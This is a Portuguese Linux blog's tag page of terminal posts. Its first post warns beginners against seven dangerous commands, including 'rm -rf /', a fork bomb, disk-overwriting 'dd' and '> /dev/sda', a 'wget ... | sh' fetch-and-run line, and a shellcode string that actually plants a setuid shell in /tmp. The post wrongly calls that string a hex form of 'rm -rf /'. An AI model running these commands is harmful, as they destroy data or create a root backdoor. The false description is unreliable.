Home » terminal

7 comandos perigosos do Linux que você NUNCA deve executar

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




quarta-feira, 25 de janeiro de 2017

Cool Retro Term - Um terminal cheio de estilo para você usar no Ubuntu e no Linux Mint

Que tal dar uma incrementada no visual do seu terminal e ainda dar um visual retrô para ele para se sentir um "hacker das antigas"? Conheça agora o belo Cool Retro Term.

Ubuntu Cool Retro Term




O Cool Retro Term não traz para o usuário nenhuma utilidade prática diferenciada de um aplicativo de terminal, sem grande diferencial é a sua aparência mesmo e seus vários temas. Através do menu "Profiles" você poderá escolher entre 9 temas diferentes, confira:

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

As imagens não conseguem representar completamente, mas todos os temas tem animações nas suas telas e você encontra mais algumas opções de personalização nas configurações do aplicativo, como remover as bordas que lembram um televisor antigo.

Como instalar no Ubuntu e no Linux Mint


A instalação no Ubuntu ou no Linux Mint é feita através de um PPA.

PPA: ppa:noobslab/apps


Se você preferir fazer pelo terminal:
sudo add-apt-repository ppa:noobslab/apps 
sudo apt-get update
sudo apt install cool-retro-term
Você encontrará o aplicativo diretamente no menu do seu sistema.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




terça-feira, 10 de janeiro de 2017

Conheça o "Hollywood" o comando do terminal Linux mais zoeiro da história

Você já deve ter reparado que Hollywood gosta de representar um "hack" a algum sistema ou computador com muitas imagens que parecem algo muito complexo, de preferência cheio de "letrinhas" coloridas e telas piscando. Hoje você vai aprender a criar uma coisa assim no seu terminal.

Hacker de Hollywood no Ubuntu





Nos vídeos que nós fizemos sobre a série Mr. Robot, um dos comentários mais recorrentes que tivemos foi justamente sobre a verossimilhança da série e o quanto, desta forma, ela acaba agrando os profissionais da tecnologia, porém, não podemos esperar que todos os filmes e séries tenham o mesmo compromisso, muitas vezes uma tela bem desenhada e com um visual mais descritivo pode funcionar melhor para o público.

Como zoeira pouca é bobagem e o terminal Linux só não faz pizza (ou faz?), hoje vou vai aprender a "pagar de hacker" usando um comando só.

Se você é um cara quer aprender um pouco mais sobre o terminal, de forma séria, eu recomendo ler o nosso post recente que te mostram alguns comandos do Terminal que pode ser bem úteis e uma série de outras dicas.

Hollywood

Baseado na criatividade dos hackers hollywoodianos é que foi criado um pacote chamado hollywood, ele roda vários pequenos programas no terminal de uma forma muito dinâmica e ainda toca a música do "Missão impossível" (sério!")

Para instalar no Ubuntu e derivados abra o terminal e digite:
sudo apt install hollywood
Depois de instalado basta rodar o comando "hollywood" e aproveitar o show!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




sábado, 3 de dezembro de 2016

7 comandos do terminal que fazem coisas curiosas e úteis

O terminal Linux é algo com muito mais recursos do que se possa imaginar, existem várias coisas curiosas que é possível fazer através dele, desde ouvir músicas e ver vídeos até algumas coisas menos úteis, mas ainda assim divertidas.

Dicas para dominar o terminal Linux




Nós preparamos para você um curso especial de Bash para você ficar ninja no terminal, mas isso não quer dizer que todas as dicas tenham acabado, muito pelo contrário, temos aqui mais 7 dicas para você usar no seu terminal e quem sabe ter um pouco mais de produtividade com ele.

Se você quiser mais algumas dicas grátis em vídeo clique aqui e confira a jornada épica do Tiago, desenvolvedor da Canonical que nos ajudou a bolar o curso.

Vamos lá então, hora de aprender alguns comandos novos!

1 - wc (word count) 


Esse comando serve para você contar quantas palavras, caracteres e linhas existem dentro de um determinado arquivo de texto, o seu uso é muito simples. Se não passar opção nenhuma ele informa as 3 contagens, mas você pode especificar se quer somente linhas com -l, somente palavras com -w ou somente caracteres com -c. Veja alguns exemplos:
 wc /etc/hosts
wc -l /etc/hosts
wc -w /etc/hosts
wc -c /etc/hosts

2 - arecord e aplay


São comandos do pacote alsa-utils que, além de outras coisas, permitem que você grave e toque sons diretamente no terminal.

O comando "arecord -f cd" por padrão imprime no stdout* o resultado da gravação de áudio (um arquivo .wav) a partir de um microfone disponível, e isto vai sujar a tela com dados binários, por isso usamos a funcionalidade de redirecionamento* do bash para jogar o conteúdo para um arquivo. Veja que no exemplo o arquivo criado "meu_podcast" não contém a extensão .wav. Isto é proposital pois usaremos o mesmo arquivo para explicar o próximo comando. Veja o exemplo:
arecord -f cd 1> meu_podcast
E para tocar o arquivo basta utilizar o comando aplay:
aplay meu_podcast

3 - file


No linux as extensões dos arquivos são opcionais, portanto nem sempre é possível dizer qual é o tipo de arquivo só olhando o seu nome.

Para isso podemos usar o comando file (do pacote chamado file no Ubuntu), que analisa o interior do arquivo e tenta nos dizer qual tipo ele é. ex:
file meu_podcast
O resultado pode ser algo parecido com isso:

meu_podcast: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz

Ou outro exemplo:
file /bin/bash
Que vai trazer um resultado assim:

/bin/bash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0428e4834e687e231fa865562d32fbb64ce45577, stripped

4 - head e tail


São comandos para respectivamente listar as primeiras e últimas linhas de um arquivo, ou do conteúdo recebido na entrada padrão (stdin*). Head vem do inglês "cabeça" e tail "cauda".

O parâmetro -n indica o número de linhas. Se o parâmetro -n não for passado, os comandos assumem que serão 10 linhas.
head -n 5 /etc/hosts
head /etc/hosts
tail -n 2 /etc/hosts
tail /etc/hosts

O seguinte comando mostra como o head e o tail podem ser usados em um exemplo mais complexo, como em uma pipeline* do bash.
ps aux | tail -n 7


5 - du


O comando "du" nos ajuda a descobrir quanto de espaço um diretório/pasta está ocupando no disco.
Mas para ele ser realmente útil é preciso de algumas opções extras.

O comando seguinte permite que o "du" crie um sumário de cada um dos diretórios na raiz do sistema. Isto claro que pode demorar um pouco, afinal ele vai percorrer todo o disco e gerar um resumo em megabytes.
sudo du -m --max-depth=1 /
Vamos supor que você descubra que o diretório /home está ocupando muito espaço, então você pode começar uma verdadeira "caça às bruxas" e procurar o diretório que está roubando seu espaço em disco:
sudo du -m --max-depth=1 /home
E assim por diante.

6 - cal


O comando "cal" nos mostra um calendário do mês atual direto no terminal:
cal
A saída vai ser algo parecido com isto:

          
             
Mas o comando cal também pode mostrar o calendário completo de um ano com o comando -y.

Mostrando o ano atual:
cal -y
Mostrando algum outro ano:
cal -y 2017
Aproveite a saída e veja em que dia da semana cai o seu aniversário no ano que vem.

7 - history


O comando history é um comando interno no bash. (builtin*). Ele serve para imprimir pra você os comandos anteriores já executados na linha de comando.

É basicamente um histórico que o Bash mantém, assim como os navegadores guardam os sites que você já visitou.
history
Se você não está familiarizado com estes termos de linha de comando (stdin, stdout, pipeline, builtin, redirecionamentos, etc) e quer aprender mais sobre terminal e sobre o interpretador Bash (que é o padrão do Linux, independente da distro), veja esta apresentação do curso dominando o terminal Linux, onde passamos mais 3 dicas sobre linha de comando que vão facilitar sua vida.


Até a próxima!




_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




quinta-feira, 1 de dezembro de 2016

Dicas para dominar o terminal Linux

Muitas pessoas encaram o Terminal Linux como um fator de dificuldade para utilizar o sistema, porém, nós temos que observá-lo pela ótica pela qual ele foi projetado, ou seja, ele é uma ferramenta poderosa para administração do sistema, dominando o terminal você conseguirá dizer para o computador exatamente o que você quer que ele faça.

Dominando o Terminal Linux





Muitas pessoas tem medo ou aversão ao Terminal, porém, atualmente no Linux ele é uma ferramenta opcional, no melhor estilo "usa quem quiser", basta usar uma distribuição que tenha ferramentas para isso, entretanto, dominar o terminal é algo essencial para você tomar as rédias do seu computador, e não somente no Linux, mas até mesmo no Windows e no Mac, o fato de você conseguir "conversar" na língua do Terminal permite que você faça tudo o que você quiser com o seu computador, o que é algo fantástico, sem sombra de dúvidas!

Eu sei que como o terminal não é uma ferramenta intuitiva, as vezes pode ser complicado utilizá-lo em primeira instância, mas eu lhe asseguro que não é nada demais  e para te ajudar a criar fluência no terminal (o quão fluente você é no terminal?) o Tiago Salem, engenheiro da Canonical e do Ubuntu Phone, e eu, fizemos um vídeo para te passar algumas dicas muito legais, assim você não vai ter mais medo do terminal, confira:



Como você viu no vídeo, nós temos uma promoção incrível rolando para você virar um ninja do terminal, mas o tem é curto, vai até o meio-dia do dia 13 de Outubro, no momento deste post você tem menos de 20 minutos para participar.
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




quinta-feira, 13 de outubro de 2016

Guake Terminal - Uma forma prática para você dar comandos para a sua distribuição Linux

Quem vive mexendo no terminal Linux pode encontrar no Guake uma ferramenta interessante para interagir com o computador de uma forma muito prática, conheça um pouco melhor a aplicação.

Guake Terminal Ubuntu Screenfetch




Imagine um terminal que você pode acessar de qualquer lugar e que não é necessário nada além de uma única tecla para abri-lo; suporte a múltiplas abas, teclas de atalho, configuração de temas, organização visual e possibilidade de criar comandos automatizados, este é, em resumo, o Guake Terminal.

A configuração padrão do Guake Terminal permite que você abra ele pressionando a tecla F12, esteja você onde esteja, em qualquer pasta ou programa do sistema, ele vai se abrir e você pode digitar o comando que quiser, pressione F12 novamente e ele se esconde, você pode deixar comandos no terminal rodando em segundo plano e assim otimizar a sua produtividade.

Obviamente, a tecla de atalho para abrir ele, a sua posição e muito mais, podem ser configuradas facilmente para deixar ele funcionando como você quiser. Ao instalar ele no Ubuntu, seguindo o exemplo da imagem acima, ele vai criar um indicador na barra superior, este indicador serve para duas coisas:

1 - Mostrar que ele está em execução e disponível para você abrí-lo via tecla de atalho ou clicando no ícone mesmo;

2 - E também permite que você acesse rapidamente o menu de configurações para ajustar as suas preferências.

Como instalar o Guake Terminal


Essa é a parte mais fácil, você encontra ele no repositório oficial de praticamente todas as distribuições, então confira a Central de Programas da sua distro, certamente você vai encontrá-lo por lá.

Guake Terminal

Depois de instalado, você encontra o aplicativo no menu do sistema, basta clicar nele e começar a utilizar.

Conte pra gente se você já conhecia a ferramenta e qual é a sua opinião sobre ela, a sessão de comentários está logo abaixo.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




quinta-feira, 29 de setembro de 2016

Canonical mostra o novo terminal convergente para o Ubuntu com Unity 8

A Canonical publicou uma documentação explicando os novos conceitos visuais e funcionais do terminal que vai acompanhar o Unity 8, além bonito ele está com várias funções interessantes, vamos dar uma olhada?

Ubuntu Unity 8 Terminal




Para quem aguarda ansioso pela versão estável e ajustada para desktop do Unity 8 este é mais um motivo para roer a as unhas. A Canonical mostrou como vai funcionar o terminal da interface gráfica convergente, tanto no computador, quanto em dispositivos móveis.

A última atualização no aplicativo trouxe os seguintes recursos aprimorados:

- Atalhos do teclado
- Atalhos customizáveis para Touch e Teclado
- Opção de tela dividida (horizontal, vertical)
-  Paleta de cores customizável
- Transparência da janela (no desktop)
- Histórico de comandos ilimitado
- Função 'Find' para pesquisar o histórico

Terminal convergente Ubuntu

Atualmente este aplicativo está apenas disponível para os Tablets e celulares com o Ubuntu, você pode ler mais sobre o aplicativo, suas funções e ver mais algumas imagens no post da Canonical.

Ubuntu Terminal no Ubuntu Phone


Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




terça-feira, 23 de agosto de 2016

PowerShell do Windows agora é open source e roda no Linux e no Mac OS X

A Microsoft anunciou que o PowerShell do Windows agora está com o código fonte aberto e disponível no GitHub e que agora é possível utilizá-lo no Linux e no Mac OS X também, saiba mais:

Windows Power Shell open source






O PowerShell é o mais próximo possível do Bash do Linux que você encontra no Windows, exceto é claro, o próprio Bash.  Satya Nadela, CEO da Microsoft, mudou muito a forma da empresa tratar os seus próprios programas e na tentativa de universalizar os recursos do Windows é que este tipo de ação acontece e deverá continuar acontecendo. Confira o vídeo de anúncio:


Usuários de Linux no Ubuntu, CentOS e Red Hat, assim como os usuários OS X podem agora baixar e executar o PowerShell a partir do repositório GitHub. 

_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




sexta-feira, 19 de agosto de 2016

Qual a diferença entre os comandos "upgrade", "dist-upgrade" e "full-upgrade?

Aí está uma coisa que muita gente tem dúvida, o que cada comando de atualização faz exatamente? Qual a diferença entre dar um "upgrade" e dar um "dist-upgrade"? É isso que você vai descobrir agora.

Qual é a diferença entre upgrade e dist-upgrade




Todos estes comandos servem para atualizar o Ubuntu e outras distribuições derivadas, a diferença é bem sutil, porém, ainda assim são diferentes, entenda:



apt-get upgrade: Vai atualizar todas as versões dos pacotes instalados, sem remover pacotes.

apt-get dist-upgrade: Também atualiza os pacotes, porém remove e instala pacotes também se for necessário, muitas vezes alguns pacotes precisam ser instalados como dependências para certos aplicativos atualizarem, essa opção faz isso, ao contrário da anterior. Digamos que seja uma forma mais completa, porém, "mais arriscada", pois vai modificar o sistema mais profundamente.

Recentemente o Ubuntu adicionou também o suporte para a simplificação do comando "apt-get", ele tornou-se simplesmente "apt", e o mesmo possui alguns diferenciais que nós já explicamos em outro post, clique aqui para ver.

A modificação permite que usemos um outro comando:

apt full-upgrade: Faz basicamente o mesmo que o "dist-upgrade".

Essa é basicamente a diferença, espero que tenha ficado claro para você, até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




quarta-feira, 3 de agosto de 2016

Principais comandos do Linux: Saiba o Básico

O bom usuário de Linux deve conhecer pelo menos o básico dos comandos em terminal.
A primeira vista parece ser mais complicado, mas depois que você se inteirar melhor com este mecanismo
vai perceber que conseguirá fazer as suas atividades na sua distro com muitos mais rapidez e eficiência:

Principais comandos Linux

Se você busca mais informações sobre comandos para o Ubuntu em específico, clique aqui e confira o artigo especial.
Leia também: Principais atalhos do Terminal Linux
Aqui eu vou colocar alguns comandos que eu acho que são os principais.

Comandos básicos


  • mv [-i]: mover ou renomear arquivos.
  • rm [--]: deletar arquivos.
  • mkdir/rmdir: cria/deleta diretórios.
  • ln -s path link: cria links simbólicos (symlinks) para arquivos ou diretórios 
  • cp [-ir]: copiar arquivos.
  • ls [-al]: listagem do diretório. 

  • Outros comandos



  • file: determina o tipo do arquivo (/etc/magic).
  • cat: exibe o conteúdo do arquivo na tela.
  • head / tail: exibe linhas no inicio / fim do arquivo.
  • less / more: lista o conteúdo do arquivo.
  • man filename: manual online do programa.
  • ctrl+alt+del/reboot: reinicia o sistema.
  • shutdown -h now/halt: desliga o computador.


  • Mais no terminal



  • stty -a: lista configurações do terminal.
  • reset: reseta o terminal (volta ao normal).
  • (SHIFT)PGUP/PGDN: barra de rolagem do bash.
  • TAB: auto-completa os comandos digitados no terminal.
  • MOUSE2/3: cola o texto selecionado (gpm).
  • CTRL+S (Scroll Lock): desabilita o vt.
  • CTRL+Q (Scroll Lock): habilita o vt (tente isto caso o terminal trave).
  • ALT+Fx: muda de console.
  • CTRL+ALT+Fx: muda de console em modo gráfico.


  • Usuários




  • w: informações gerais sobre usuários logados e seus processos.
  • who: informações dos usuários atuais (do utmp)
  • last: listagem do histórico de logins (/var/log/wtmp)
  • lastlog: retorna informações sobre últimos logins.


  • Matando processos


    kill: as opções mais comuns são (onde id é o mesmo que PID):

  • kill -HUP id-do-processo: reinicia processo.
  • kill -9 id-do-processo: mata processo.
  • killall processo: mata processo pelo nome.
  • killall -HUP processo: reinicia processo pelo nome.


  • Sistema



  • df -h (espaço livre e ocupado nos discos)
  • du -sh(x) (espaço ocupado pelo diretório e seus subdiretórios)


  • Informações do sistema



  • free: status da memória e swap.
  • vmstat: status da memória virtual (processos, cpu).
  • lsdev, lspci: listagem do hardware/dispositivos pci.
  • pnpdump: retorna configuração das placas ISA PnP.
  • lsmod / rmmod: lista/remove módulos na memória.
  • procinfo: cat /proc ;)


  • Informações do ambiente X



  • xdpyinfo: recursos do servidor X.
  • showrgbq: retorna a database de cores rgb.
  • xlsfonts: lista as fontes reconhecidas pelo X.
  • xset m 5/2 1: ajusta a velocidade e aceleração do mouse.


  • Rede



  • lsof -n -i:80 (-i4: ipv4 e -n: sem resolver hostnames)
  • fuser -v 80/tcp (lista processos que escutam na porta tcp 80 em modo ps-like)

  • Pipes e Redirecionamentos


    Através de 'pipes', a saída de um comando (stdout [file descriptor 1]) é passada como a entrada (stdin) do outro. Em geral, a saída é o terminal e a entrada o teclado. Exemplos:

    $ dmesg | less ; ls -l | more
    $ echo "mensagem" | wall 


    Através de '<' e '>' é possível definir qual será o stdin e o stdout. Exemplos:

    $ dmesg > dmesg.txt ; more < dmesg.txt
    ls -l /tmp >> list.txt (concatena) 

    O sinal de maior é equivalente ao comando tee.

    E para alterar o stderr (mensagens de erro [file descriptor 2]):

    $ ls /admin > list.txt 2> erros.txt (se o diretório não existir, o stderr será o erros.txt e o stdout o list.txt)

    $ ls /admin > list.txt 2>&1 listagem_e_erros.txt (se houver, erros serão repassados para o mesmo local que o stdout)


    Operadores Lógicos



  • &&: 'e' (retorna true se todas as expressões forem verdadeiras)
  • ||: 'ou' (retorna true se uma das expressões forem verdadeiras)

  • O sinal ';' executará ambas as expressões independente do retorno. Por exemplo:


    $ make ; make install (os comandos serão executados em sequência)
    $ make && make install (o segundo comando somente será executado se o primeiro não retornar erro)

    Se você tiver mais sugestões de comandos, fique à vontade para adicionar nos comentários.

    Até a próxima!

    Qual diferença entre "apt" e "apt-get"? Saiba agora!

    As versões mais recentes do Ubuntu também trouxeram uma novidade que não foi notada por muitos, o comando "apt-get", comumente utilizado para manipular pacotes no sistema, foi simplificado para um simples "apt", porém, o que muitos não sabem é que eles não são exatamente iguais.

    diferença entre apt e apt-get




    O apt é a nossa boa e velha ferramenta para manipulação de pacotes; um dos vídeos mais vistos do canal do Diolinux é este logo abaixo, onde nós mostramos como usar as funções básicas dele para gerenciar pacotes no seu Ubuntu ou derivado:


    No Ubuntu 16.04 LTS o comando "apt-get", comumente utilizado, acabou ganhando um "novo amigo", uma versão simplificada e com alguns recursos a mais, o "apt".

    Funciona assim:

    Diferença entre apt e apt-get

    Viu como é simples? A expressão "apt" simplesmente substitui o "apt-get", e mesmo em alguns casos onde o comando não existe, o "apt" chama o "apt-get", então no caso do exemplo acima:
    sudo apt-get autoclean
    Se você digitar "sudo apt auto..." e pressionar tab, o comando não será encontrado, porém, se você digitar ele completamente "sudo apt autoclean", ele vai funcionar normalmente. 

    Mas não foi apenas essa simplificação que ocorreu, o comando "apt" também trouxe alguns recursos interessantes que poucos sabem, as ferramentas incluem os seguintes parâmetros:

    sudo apt list nomedopacote Lista os pacotes baseado no nome digitado

    sudo apt search nomedopacote – Pesquisa pacotes através da sua descrição

    sudo apt show nomedopacote – Mostra os detalhes do pacote

    sudo apt updateAtualiza a lista de pacotes disponíveis

    sudo apt install nomedopacoteInstala o pacote com o nome informado


    sudo apt remove nomedopacote – Remove o pacote com o nome informado 

    sudo apt upgrade – Atualiza o sistema través de instalação/atualização de pacotes

    sudo apt full-upgradeAtualiza o nosso sistema através da remoção, instalação e atualização de pacotes

    sudo apt edit-sources – Edita o arquivo sources.list te sugerindo opções de editores instalados

    Estas são as principais funções, mas você encontrar mais detalhes consultando o manual dele através do comando: man apt

    Apt - uma simplificação de ferramenta


    Agora que você já sabe do "apt" não se espante se começar a ver tutoriais que o utilizem ao invés do "apt-get", eles são basicamente a mesma coisa, sendo que o "apt" consegue interpretar tudo o que seria utilizado através do "apt-get" e ainda te dá algumas possibilidades a mais.

    Bom proveito. :)

    Até a próxima!
    _____________________________________________________________________________
    Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




    quinta-feira, 30 de junho de 2016

    Função autocompletar com TAB no terminal não funciona

    Hoje você aprender a corrigir um pequeno problema no Ubuntu referente a uma das funções do terminal Linux contido nele, confira.

    função autocompletar

    Função autocompletar no terminal Ubuntu


    Esta semana tive um problema peculiar no meu Ubuntu, "em todos esses anos nesta industria vital isso nunca tinha me acontecido!"

    Para quem não sabia, quando você está digitando algum comando no terminal e pressionar a tecla TAB o próprio terminal termina o comando para você, assim fica muito mais ágil trabalhar, porém, do nada o meu terminal parou de fazer essa função magnífica, pois bem, eu encontrei uma solução para fazê-lo voltar ao normal, segue:

    1 - O primeiro passo é abrir o nosso amigo terminal e copiar e colar este comando parar abrir o arquivo de configuração do Bash:
    sudo gedit /etc/bash.bashrc
    Dentro deste arquivo você deve descomentar as linhas abaixo, exceto a primeira:

    # enable bash completion in interactive shells
    #if [ -f /etc/bash_completion ]; then
    # . /etc/bash_completion
    #fi

    Descomentar significa retirar o "#" da frente das linhas, deixando da seguinte forma:

    # enable bash completion in interactive shells
    if [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
    fi


    No meu caso, até existiam algumas linhas a mais e ficou assim:

    Configuração do Bash

    É uma coisa bem específica mas pode ser que seja útil para você, até a próxima! 
    sh completion in interactive shells
    _____________________________________________________________________________
    Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




    domingo, 2 de agosto de 2015

    Como fazer o Linux desligar automaticamente em um horário programado pelo terminal

    Hoje você vai aprender uma dica muito simples de se utilizar mas que pode lhe ser muito útil nos momentos mais variados.

    Desligando Linux automaticamente

    Como configurar o Linux para desligar automaticamente


    Recentemente precisei agendar o desligamento do meu computador pois queria deixar ele atualizando o game na Steam enquanto saia de casa para trabalhar, porém, eu voltaria muito tarde neste dia e a atualização iria durar no máximo umas duas horas. Como economizar eletricidade é algo muito importante eu achei que seria bom agendar o desligamento do sistema para pouco tempo depois de duas horas decorridas, só por garantia.

    Desta forma lembrei de um programa chamado qShutdown, o qual eu fiz um post falando sobre aqui no blog há um bom tempo atrás, post este que você pode ler clicando aqui.

    Mas como eu sei da potência do terminal Linux pensei: "Deve haver alguma forma de fazer isso pelo terminal..." e não é que tem?

    E é bem simples de se fazer ainda por cima, vamos lá!

    Desligando o seu computador pelo terminal


    O processo é realmente simples, abra o seu termina e digite o seguinte comando:

    sudo shutdown -h +XX
    Neste caso o XX representa o tempo em minutos que o computador deverá desligar-se à partir do horário atual. Por exemplo: sudo shutdown -h +90 faria que o computador ficasse mais noventa minutos ligado há partir do momento que o comando foi dado.

    ou
    sudo shutdown -h XX:XX
    Este segundo caso é um pouco mais específico, nele você pode definir exatamente em qual hora você quer que o computador desligue, o horário deverá ser informado no formato 24 horas, neste caso o XX:XX representam as horas e os minutos.

    Por exemplo: sudo shutdown -h 16:30 isso faz com que o computador desligue-se as 16:30, também conhecido como quatro e meia da tarde.

    Cancelando o desligamento


    Se você se enganou da hora de configurar o hora ou o tempo de desligamento não se preocupe, cancelar o processo é bem simples, basta usar a tecla de atalho Ctrl+C ou simplesmente fechar o terminal encerrando o processo.

    Se você curtiu esta dica sobre o terminal Linux e quer aprender mais algumas coisas sobre o assunto confira o nosso vídeo falando sobre as coisas básicas que você precisa saber com mais alguma dicas sobre as linhas de comando.

    E se você quiser virar um ninja nos comandos do Linux confira os nossos cursos voltados a isso, tenho certeza que serão do seu interesse.

    Até a próxima!
    _____________________________________________________________________________
    Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




    segunda-feira, 13 de julho de 2015

    Terminal Linux Básico - Aprenda os principais atalhos para aumentar a sua produtividade

    Conheça os principais atalhos no teclado para se usar um terminal Linux, com estas dicas a sua produtividade vai aumentar com toda a certeza.

    atalhos para o terminal Linux

    Confira algumas dicas para agilizar a sua vida no terminal Linux


    Ah o terminal! Que belo programa você é! Eu acho extremamente válido explicar, especialmente para iniciantes, o quanto o terminal pode ser uma ferramenta útil, isso mesmo, ele não é complicado, muito pelo contrário, ele é simples.

    Hoje em dia com distros como Ubuntu e Linux Mint o terminal se tornou de vez o que sempre deveria ter sido, uma ferramenta poderosa para quem quer usá-la e não o único modo de fazer as coisas.

    Como você está lendo este artigo eu presumo que você deseje saber um pouco mais sobre o terminal e usar ele de forma mais tranquila, existe muito material que você pode ler e ver também, como este vídeo onde eu mostrei os comandos básicos do terminal do Ubuntu.

    As teclas de atalho podem ajudar muito na sua produtividade, então vamos listar aqui algumas teclas de atalho que você poderá utilizar em qualquer distro Linux que use:

    Ctrl-A: Leva o Cursor ao início de linha

    Ctrl-E: Leva o cursor ao fim da linha.

    Ctrl-B: Volta um caractere.

    Alt-B: Uma palavra para trás.

